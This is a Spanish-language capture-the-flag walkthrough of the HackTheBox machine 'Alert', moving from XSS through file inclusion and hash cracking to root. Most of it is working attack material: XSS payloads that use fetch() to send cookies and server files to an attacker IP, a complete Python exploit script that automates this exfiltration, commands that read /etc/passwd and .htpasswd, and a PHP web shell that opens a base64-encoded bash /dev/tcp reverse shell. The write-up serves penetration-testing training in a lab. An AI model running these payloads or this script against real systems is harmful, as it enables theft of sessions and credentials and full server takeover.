Alert – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy /Fácil
  • Platform / Plataforma: HackTheBox

Avatar Alert


Resumen Link to heading

“Alert” es una máquina de dificultad Fácil de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web al cual se pueden subir archivos Markdown los cuales son desplegados en el sitio web. Estos archivos Markdown son vulnerables a Cross-Site Scripting, lo cual nos permite -luego de robar una sesión de cookie- visitar un sitio web prohibido el cual es, a su vez, vulnerable a Local File Inclusion. Leyendo archivos internos somos capaces de encontrar otros subdominio de la página. Este subdominio contiene un archivo que a su vez contiene un hash. Somos capaces de crackear este hash y usar esta contraseña para ganar acceso a la máquina víctima como un usuario. Una vez dentro, somos capaces de ver que la máquina víctima está corriendo un servicio web interno como el usuario root. Nuestro usuario impersonado pertenece a un grupo el cual puede escribir archivos dentro de los directorios de este servicio web. Es por ello que escribimos un archivo web malicioso, ejecutamos comandos de sistema como root y ganamos acceso a éste.


User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap a la máquina víctima:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.44

De donde encontramos solo 2 puertos abiertos: 22 SSH y 80 HTTP. Aplicamos algunos scripts de reconocimiento sobre estos puertos usando la flag -sVC:

❯ sudo nmap -sVC -p22,80 10.10.11.44

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-28 00:26 -03
Nmap scan report for 10.10.11.44
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.42 seconds

Del escaneo podemos ver que la conexión al puerto 80 HTTP redirige al sitio alert.htb. Agregamos este dominio a nuestro archivo /etc/hosts ejecutando en una terminal:

❯ echo '10.10.11.44 alert.htb' | sudo tee -a /etc/hosts

Una vez agregado, usando WhatWeb contra el sitio web, cuando hacemos una petición a http://alert.htb éste nos redirige a http://alert.htb/index.php?page=alert:

❯ whatweb -a 3 http://alert.htb

http://alert.htb [302 Found] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], RedirectLocation[index.php?page=alert], Title[Alert - Markdown Viewer]
http://alert.htb/index.php?page=alert [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.44], Title[Alert - Markdown Viewer]

El server se encuentra corriendo sobre Apache.

Luego, visitando http://alert.htb en un navegador web podemos ver un sitio web el cual nos permite subir archivos Markdown:

Alert 1

Nota
Markdown is an easy-to-use markup language that is used with plain text to add formatting elements (headings, bulleted lists, URLs) to plain text without the use of a formal text editor or the use of HTML tags.
En resumen, Markdown es un lenguaje que se usa mucho para tomar notas y realizar documentación de software.

Podemos crear fácilmente un archivo Markdown en nuestra terminal, el cual tiene como extensión .md:

❯ echo -e '# test\n## testing\nThis is a **test**' > test.md

❯ cat test.md

# test
## testing
This is a **test**

Si subimos el archivo generado a la página web y luego clickeamos en View Markdown podemos ver que el archivo está siendo interpretado:

Alert 2

En la parte inferior hay un botón Share Markdown el cual, al apretarlo, crea un link.

Usualmente las páginas que intepretan archivos Markdown usan JavaScript para interpretar y desplegar distintos atributos (como letras en negrilla, títulos, cabeceras, etc). Por ende, podríamos ver si la página web es vulnerable a Cross Site Scripting (XSS). Creamos un simple archivo llamado xss.md con el contenido:

<script>prompt(8)</script>

Subimos xss.md, clickeamos en View Markdown y podemos ver:

Alert 3

Por lo que el sitio es vulnerable a XSS.

Consejo

De hecho 🤓☝️, el nombre Alert de la máquina víctima nos da una pista de que ésta puede ser vulnerable a XSS dado que un payload muy común para chequear esta vulnerabilidad es

<script>alert('xss')</script>

Pero de momento no tenemos mucho más.

Para revisar si hay algún sitio de administrador o similares al cual le podamos robar una cookie primero debemos buscar por directorios ocultos a través de un Bruteforce Directory Listing con Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://alert.htb -x php -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://alert.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 274]
/index.php            (Status: 302) [Size: 660] [--> index.php?page=alert]
/uploads              (Status: 301) [Size: 308] [--> http://alert.htb/uploads/]
/contact.php          (Status: 200) [Size: 24]
/css                  (Status: 301) [Size: 304] [--> http://alert.htb/css/]
/messages             (Status: 301) [Size: 309] [--> http://alert.htb/messages/]
/messages.php         (Status: 200) [Size: 1]

Obtenemos una página messages.php.

Además, mirando la página web, si vamos a la opción contact la página web usa la url ?page=contact; si vamos a About Us, ésta usa ?page=about y así… De manera que podemos usar, sólo por variar, una herramienta como ffuf para también buscar potenciales archivos de esta forma:

❯ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u 'http://alert.htb/index.php?page=FUZZ' -fs 690

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://alert.htb/index.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 690
________________________________________________

about                   [Status: 200, Size: 1046, Words: 187, Lines: 24, Duration: 4132ms]
contact                 [Status: 200, Size: 1000, Words: 191, Lines: 29, Duration: 4928ms]
donate                  [Status: 200, Size: 1116, Words: 292, Lines: 29, Duration: 245ms]
messages                [Status: 200, Size: 661, Words: 123, Lines: 25, Duration: 238ms]
alert                   [Status: 200, Size: 966, Words: 201, Lines: 29, Duration: 242ms]

De esta manera también encontramos la página messages.

La página messages es particularmente interesante dado que no hay alguna pestaña/opción en la página web principal que nos lleve hasta ella directamente. Visitando http://alert.htb/index.php?page=messages muestra una página idéntica a la página web principal, pero sin la opción de subir un archivo Markdown:

Alert 4

Volviendo un poco atrás, notamos que en la sección de Contact Us podemos enviar un mensaje:

Alert 6

Así mismo, la página About Us nos da un interesante mensaje:

Hello! We are Alert. Our service gives you the ability to view MarkDown. We are reliable, secure, fast and easy to use. If you experience any problems with our service, please let us know. Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours. Thank you for using our service!

De manera que es posible que haya algo o alguien chequeando los mensajes enviado por Contact Us periódicamente.

Intentamos un simple payload de XSS para robar una cookie:

<img src=x onerror=fetch("http://10.10.16.3:8000/"+document.cookie);>

y lo adjuntamos en el campo de “mensaje” en la página de Contact y usamos un email cualquiera. Empezamos un servidor HTTP temporal con Python en el puerto 8000:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y enviamos el payload con XSS en la sección Contact Us. Obtenemos algo en nuestro servidor temporal:

❯ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.44 - - [28/Nov/2024 01:27:20] code 404, message File not found
10.10.11.44 - - [28/Nov/2024 01:27:20] "GET /&quot;+document.cookie);&gt; HTTP/1.1" 404 -

De manera que algo o alguien está abriendo los mensajes y, este servicio, es vulnerable a XSS.

Podemos crear un archivo el cual haga que el usuario que abre este sitio visite la página message.php y nos envie sus datos a nuestro servidor web. Para ello creamos un simple payload:

<script>
fetch("http://alert.htb/messages.php")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.16.3:8000/?encodedData=" + btoa(data));
  });
</script>

y lo guardamos como xss_messages.md. Generamos un link de compartido y lo pasamos al formulario de Contact Us. Obtenemos un mensaje en base64 en nuestra shell que, al decodearlo, muestra el contenido HTML de messages.php:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/style.css">
    <title>Alert - Markdown Viewer</title>
</head>
<body>
    <nav>
        <a href="index.php?page=alert">Markdown Viewer</a>
        <a href="index.php?page=contact">Contact Us</a>
        <a href="index.php?page=about">About Us</a>
        <a href="index.php?page=donate">Donate</a>
        <a href="index.php?page=messages">Messages</a>    </nav>
    <div class="container">
        <h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
    </div>
    <footer>
        <p style="color: black;">© 2024 Alert. All rights reserved.</p>
    </footer>
</body>
</html>

La página messages.php está recibiendo un parámetro file.

Podemos crear un payload el cual haga peticiones a través del parámetro file del archivo messages.php que previamente habíamos hallado. Para esto creamos un archivo Markdown con el payload de XSS:

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../etc/passwd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.16.3:8000/?encodedData=" + btoa(data));
  });
</script>

Y lo guardamos como payload.md. En resumen, lo que hace este payload es que el usuario que lo abra visite la página web “oculta” http://alert.htb/messages.php, dándole como parámetro/valor file=../../../../../../../etc/passwd para ver si este parámetro es capaz de leer archivos del sistema de la máquina víctima.

Si subimos este nuevo archivo Markdown al convertidor de la página web no pasa nada. Sólo obtenemos un null-byte en nuestro servidor temporal. Pero si copiamos el “shared link” (link para compartir) generado para payload.md y lo envíamos a través del formulario de Contact Us:

Alert 7

Obtenemos algo en nuestro servidor temporal HTTP con Python:

❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

10.10.11.44 - - [28/Nov/2024 02:41:56] "GET /?encodedData=PHByZT5<SNIP>U+Cg== HTTP/1.1" 200 -

Obtenemos un mensaje encodeado en base64, justo como lo habíamos definido en nuestro payload del archivo payload.md.

Decodeando el mensaje obtenido, tenemos:

❯ echo PHByZT5<SNIP>U+Cg== | base64 -d

<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
<SNIP>
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>

Podemos leer archivos de sistema. Por ende, podemos encadenar la vulnerabilidad XSS y convertirla en un Local File Inclusion (LFI) para leer archivos del sistema.

Dado que queremos leer múltiples archivos del sistema, y resumiendo, para ello tenemos que:

  1. Generar un archivo Markdown el cual especifique la ruta absoluta del archivo que queremos leer.
  2. Subir el payload con el archivo Markdown al convertidor de la página y generar un link para compartir (share link).
  3. Enviar el link para compartir generado al formulario de Contact Us.
  4. Decodear el contenido obtenido en base64 para ver su contenido.

Para automatizar todo esteo, creé un script en Python (descargable desde mi repositorio de Github) el cual hice a base de peticiones interceptadas usando Burpsuite para ver qué cosas sucedían cuando enviábamos los payloads. El script es:

import requests
import re
import argparse
import sys
import asyncio
import base64


def parse_arguments():
    """
    Get parameters from user
    """
    parser = argparse.ArgumentParser(description="Request files to read files at HTB Alert Machine (XSS to LFI).")
    parser.add_argument("-i", "--attacker-ip", type=str, help="Our attacker IP address to send the extracted data.", required=True)
    parser.add_argument("-f" ,"--filename", type=str, help="Name of the file to read (absolute path, e.g., '/etc/passwd')", required=True)
    parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose output")
    return parser.parse_args()


def post_payload(url: str, file_to_read: str, attacker_ip: str)->str|None:
    """
    Post XSS Payload to Markdown converter to generate a share link
    """
    post_url = f"{url}/visualizer.php"
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", 
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 
               "Accept-Language": "en-US,en;q=0.5", 
               "Accept-Encoding": "gzip, deflate, br", 
               "Content-Type": "multipart/form-data; boundary=---------------------------302486761919196570801058130125", 
               "Origin": url, 
               "DNT": "1", 
               "Connection": "close", 
               "Referer": f"{url}/index.php?page=alert", 
               "Upgrade-Insecure-Requests": "1"}
    data = f"-----------------------------302486761919196570801058130125\r\nContent-Disposition: form-data; name=\"file\"; filename=\"payload.md\"\r\nContent-Type: text/markdown\r\n\r\n<script>\nfetch(\"http://alert.htb/messages.php?file=../../../../../../..{file_to_read}\")\n  .then(response => response.text())\n  .then(data => {{\n    fetch(\"http://{attacker_ip}:8000/?encodedData=\" + btoa(data));\n  }});\n</script>\n\r\n-----------------------------302486761919196570801058130125--\r\n"
    r = requests.post(post_url, headers=headers, data=data)
    if r.status_code != 200:
        print(f"[-] Got invalid status code for POST request uploading the Markdown file. Status code {r.status_code}. Please check and retry...")
        sys.exit(1)
    # Use regular expressions to get the share link
    match = re.search(r'link_share=([^\"]+)', r.text)
    if match:
        share_link: str = f'http://alert.htb/visualizer.php?link_share={match.group(1)}'
        print(f"[+] Share link: {share_link}")
        return share_link
    print(f"[-] No share link found. This is the response text:{100*'='}\n{r.text}\n{100*'='}\nPlease check and retry...")
    sys.exit(1)


def send_XSS(url: str, share_link: str):
    post_url = f"{url}/contact.php"
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://alert.htb", "DNT": "1", "Connection": "close", "Referer": "http://alert.htb/index.php?page=contact&status=Message%20sent%20successfully!", "Upgrade-Insecure-Requests": "1"}
    data = {"email": "test@test.com", 
                  "message": share_link}
    print("[+] Sending request to contact form...")
    requests.post(post_url, headers=headers, data=data)


async def start_server(verbose_option: bool = False):
    """
    Starts an asynchronous HTTP server to capture the GET request and process encoded data.
    """
    async def handle_request(reader, writer, verbose_option=verbose_option):
        # Read the incoming HTTP request
        data = await reader.read(8192)
        request = data.decode()
        # Use regex to extract the 'encodedData' parameter value
        match = re.search(r'encodedData=([^ ]+)', request)
        if match:
            encoded_data = match.group(1)
            if verbose_option:
                print(f"[+] Encoded Data:\n{encoded_data}")
            # Decode the base64-encoded data
            try:
                decoded_data = base64.b64decode(encoded_data).decode()
                if decoded_data.startswith('<pre>'):
                    decoded_data = re.sub('<pre>', '', decoded_data)
                if " ".join(decoded_data.split()).endswith('</pre>'):
                    decoded_data = re.sub('</pre>', '', decoded_data)
                print(f"[+] Decoded Data:\n{100*'='}\n\n{decoded_data}\n{100*'='}")
            except Exception as e:
                print(f"[-] Failed to decode data: {e}")
        writer.close()
        await writer.wait_closed()
    # Start the HTTP server
    server = await asyncio.start_server(handle_request, '', 8000)
    addr = server.sockets[0].getsockname()
    print(f"[+] Serving server on {addr}")
    # Run the server for 6 seconds, then shut it down
    await asyncio.sleep(6)
    server.close()
    await server.wait_closed()
    print("[+] Shutting down server.")


async def main():
    # Get arguments from user
    args = parse_arguments()
    # Set machine url
    url: str = 'http://alert.htb'
    # Start an HTTP server asynchronously to get requests
    server_task = asyncio.create_task(start_server(args.verbose))
    # Wait briefly to ensure the server is running
    await asyncio.sleep(1)
    # Here starts the attack. Get share link after using Markdown converter.
    share_link: str = post_payload(url, args.filename, args.attacker_ip)
    # Send the share link to contact form to trigger LFI
    send_XSS(url, share_link)
    # Wait for the server to shut down
    await server_task

if __name__ == "__main__":
    asyncio.run(main())

Este script empieza un servidor HTTP asíncrono en el puerto 8000 para asegurarse de que no estamos empezando el servidor demasiado tarde luego de enviar la data al formulario de Contact Us; y automáticamente decodea la petición por GET obtenida en nuestra máquina de atacantes.

Usando este script vemos que funciona:

❯ python3 exploit.py -i '10.10.16.3' -f '/etc/passwd'

[+] Serving server on ('0.0.0.0', 8000)
[+] Share link: http://alert.htb/visualizer.php?link_share=67480d426ccb26.90381770.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
<SNIP>

Donde 10.10.16.3 es la IP de nuestra máquina de atacantes.

Encontramos así 2 usuarios: albert y david. Pero no somos capaces de leer sus keys de SSH (si es que las tienen).

Si revisamos el archivo /etc/hosts de la máquina víctima podemos ver un nuevo subdominio statistics.alert.htb:

❯ python3 exploit.py -i '10.10.16.3' -f '/etc/hosts'

[+] Serving server on ('0.0.0.0', 8000)
[+] Share link: http://alert.htb/visualizer.php?link_share=67481086107f17.22542002.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================

127.0.0.1 localhost
127.0.1.1 alert
127.0.0.1 alert.htb
127.0.0.1 statistics.alert.htb

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


====================================================================================================
[+] Shutting down server.

Agregamos este dominio a nuestro archivo /etc/hosts. Por lo que éste ahora se ve como:

❯ tail -n1 /etc/hosts

10.10.11.44 alert.htb statistics.alert.htb

Visitando luego http://statistics.alert.htb simplemente muestra una ventana HTTP preguntando por credenciales:

Alert 5

Pero no tenemos credenciales de momento.

Dado que la máquina víctima está corriendo un servidor web podemos tratar de leer sus archivos en la ruta /var/www/html o el directorio /var/www/<dominio> (dado que el servidor usa Apache), donde usualmente se localizan estos archivos. Si tratamos de leer el archivo index.php, el cual sabemos que sí o sí existe en el servidor web, obtenemos:

❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/alert.htb/index.php'

[+] Serving server on ('::', 8000, 0, 0)
[+] Share link: http://alert.htb/visualizer.php?link_share=67481293ef7051.33525204.md
[+] Sending request to contact form...
[-] Failed to decode data: 'utf-8' codec can't decode byte 0xa9 in position 3161: invalid start byte
[+] Shutting down server.

Hay un caracter inválido al tratar de decodear.

Pero no pasa nada. Si agregamos la opción -v (verbose) del script podemos ver el mensaje original encodeado en base64 antes de ser decodeado:

❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/alert.htb/index.php' -v

<SNIP>
[+] Encoded Data:
PHByZT48IUR<SNNIP>mU+Cg==
<SNIP>

Como el texto decodeado existe, la página web también.

Podemos tratar de leer el contenido del archivo message.php:

❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/alert.htb/messages.php'

[+] Serving server on ('::', 8000, 0, 0)
[+] Share link: http://alert.htb/visualizer.php?link_share=6748133bc88f41.46614457.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================

<?php
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == '127.0.0.1' || $ip == '::1') {
    $directory = "messages/";

    $messages = glob($directory . "*.txt");

    if (isset($_GET['file'])) {
        $file = $_GET['file'];
        echo "" . file_get_contents($directory . $file) . "";
    } else {
        echo "<h1>Messages</h1>";
        if (count($messages) > 0) {
            echo "<ul>";
            foreach ($messages as $message) {
                $filename = basename($message);
                echo "<li><a href='messages.php?file=$filename'>$filename</a></li>";
            }
            echo "</ul>";
        } else {
            echo "No messages found.";
        }
    }
}
?>



====================================================================================================
[+] Shutting down server.

Por lo que la ruta /var/www/alert.htb es correcta para el servidor web.

Así que ahora sabemos que los archivos del servidor están localizados en /var/www/alert.htb. Desafortunadamente, no somos capaces de encontrar algún archivo config.php o similar. Pero todavía tenemos el subdominio statistics.alert.htb. Eventualmente, encontramos un archivo interesante en el directorio /var/www/statistics.alert.htb:

❯ python3 exploit.py -i '10.10.16.3' -f '/var/www/statistics.alert.htb/.htpasswd'

[+] Serving server on ('::', 8000, 0, 0)
[+] Share link: http://alert.htb/visualizer.php?link_share=674813f8d9ce24.22562491.md
[+] Sending request to contact form...
[+] Decoded Data:
====================================================================================================

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/


====================================================================================================
[+] Shutting down server.

Obtenemos datos para un archivo .htpasswd, el cual es un archivo para servidores Apache (que es sobre lo que está corriendo el servidor web). Obtenemos así un hash.

Guardamos este hash en un archivo llamado albert_hash y lo crackeamos usando Hashcat, cuyo modo para crackear este hash es 1600 basados en sus ejemplos de hashes (además de usar --username para evadir el string albert: al principio del archivo que contiene el hash):

❯ cat albert_hash

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

❯ hashcat -a 0 -m 1600 albert_hash /usr/share/wordlists/rockyou.txt --username

hashcat (v6.2.6) starting

<SNIP>
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
<SNIP>

Tenemos credenciales: albert:manchesterunited.

Como el usuario albert existe en la máquina víctima (cuando leímos el archivo /etc/hosts), revisamos si estas credenciales sirven para SSH usando NetExec:

❯ nxc ssh 10.10.11.44 -u albert -p 'manchesterunited'

SSH         10.10.11.44     22     10.10.11.44      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
SSH         10.10.11.44     22     10.10.11.44      [+] albert:manchesterunited  Linux - Shell access!

¡Funcionan!

Las usamos para ganar acceso por medio de SSH a la máquina víctima:

❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no albert@10.10.11.44

<SNIP>

albert@alert:~$

Podemos obtener la flag de usuario.


Root Link to heading

Revisando por puertos internos de la máquina víctima, vemos que el puerto 8080 está abierto:

albert@alert:~$ ss -lntp

State               Recv-Q              Send-Q                           Local Address:Port                             Peer Address:Port              Process
LISTEN              0                   128                                    0.0.0.0:22                                    0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:8080                                  0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                    0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                       [::]:*
LISTEN              0                   511                                          *:80                                          *:*

Podemos revisar si este es un servicio web interno usando cURL en contra de éste:

albert@alert:~$ curl -s http://127.0.0.1:8080 | head

<!DOCTYPE html>
<html lang="en">
<head>
<title>Website Monitor</title>
<meta charset="utf-8">
<meta name="theme-color" content="#212529">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link href="style.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/chart.js@3.8.2/dist/chart.min.js" crossorigin="anonymous"></script>
</head>

Obtenemos output HTML. Por lo que muy posiblemente sea un sitio web.

Nos salimos de nuestra sesión actual de SSH y nos reconectamos, pero esta vez usamos la opción -L para crear un túnel a través de un Local Port Forwarding. De esta forma, el puerto 8080 de la máquina víctima lo transformamos en nuestro puerto 8080:

❯ sshpass -p 'manchesterunited' ssh -o stricthostkeychecking=no -L 8080:127.0.0.1:8080 albert@10.10.11.44

Visitando http://127.0.0.1:8080 en un navegador de internet como Firefox muestra una nueva página web:

Alert 8

El sitio web está corriendo Website Monitor, tal cual dice una descripción sobre éste en la parte inferior de la página web.

A simple website or web service monitor.

Magistral descripción.

Si revisamos procesos internos corriendo en la máquina víctima, podemos ver que este servicio web interno está siendo ejectuado por root:

albert@alert:~$ ps aux | grep root | grep web

root         996  0.0  0.6 207156 26596 ?        Ss   00:08   0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
root        1012  0.0  0.0   2636   796 ?        S    00:08   0:00 inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config

Los archivos del sitio están ubicados en el directorio /opt/website-monitor:

albert@alert:~$ ls -la /opt/website-monitor/

total 96
drwxrwxr-x 7 root root        4096 Oct 12 01:07 .
drwxr-xr-x 4 root root        4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management  4096 Oct 12 04:17 config
drwxrwxr-x 8 root root        4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root        4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root        1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root        4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root         104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root       40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root        1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root        1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root        4096 Oct 12 00:58 updates

Podemos ver que el grupo management puede escribir en el directorio /opt/website-monitor/config.

albert es parte de este grupo:

albert@alert:~$ id

uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

No podemos escribir en el directorio principal de Website Monitor. Pero, y como hemos visto, sí podemos escribir en /opt/website-monitor/config:

albert@alert:~$ echo 'test' > /opt/website-monitor/test
-bash: /opt/website-monitor/test: Permission denied

albert@alert:~$ echo 'test' > /opt/website-monitor/config/test

Podemos tratar de escribir un simple archivo PHP en el servidor:

albert@alert:~$ echo '<?php echo "Hello there";?>' > /opt/website-monitor/config/test.php

Y revisar si nuestro archivo ha sido escrito; y revisar que además sea accesible por el servidor web interno:

❯ curl -s 'http://127.0.0.1:8080/config/test.php'

Hello there

Está allí; y está siendo interpretado por PHP.

Por lo que vamos a crear un archivo PHP el cual, al visitarlo, nos envía una reverse shell. Creamos un payload y lo encodeamos en base64:

❯ echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.3/443 0>&1"' | base64 -w0

L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDMgMD4mMSIK

Donde 10.10.16.3 es nuestra máquina de atacantes y 443 el puerto en el cual nos pondremos en escucha con netcat.

Luego, en la máquina víctima, escribimos el payload en un archivo PHP:

albert@alert:~$ echo '<?php shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDMgMD4mMSIK"));?>' > /opt/website-monitor/config/gunzf0x.php

Donde estamos escribiendo el contenido PHP encodeado:

<?php shell_exec(base64_decode("L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMy80NDMgMD4mMSIK"));?>

en un archivo llamado gunzf0x.php.

No olvidemos de empezar un listener con netcat por el puerto 443 (ejecutando nc -lvnp 443 en otra terminal) y visitamos la página con nuestro payload malicioso:

albert@alert:~$ curl -s http://127.0.0.1:8080/config/gunzf0x.php

Obtenemos una conexión como el usuario root:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.44] 45984
bash: cannot set terminal process group (996): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:/opt/website-monitor/config# whoami

whoami
root

GG. Podemos leer la flag del usuario root en el directorio /root.

~Happy Hacking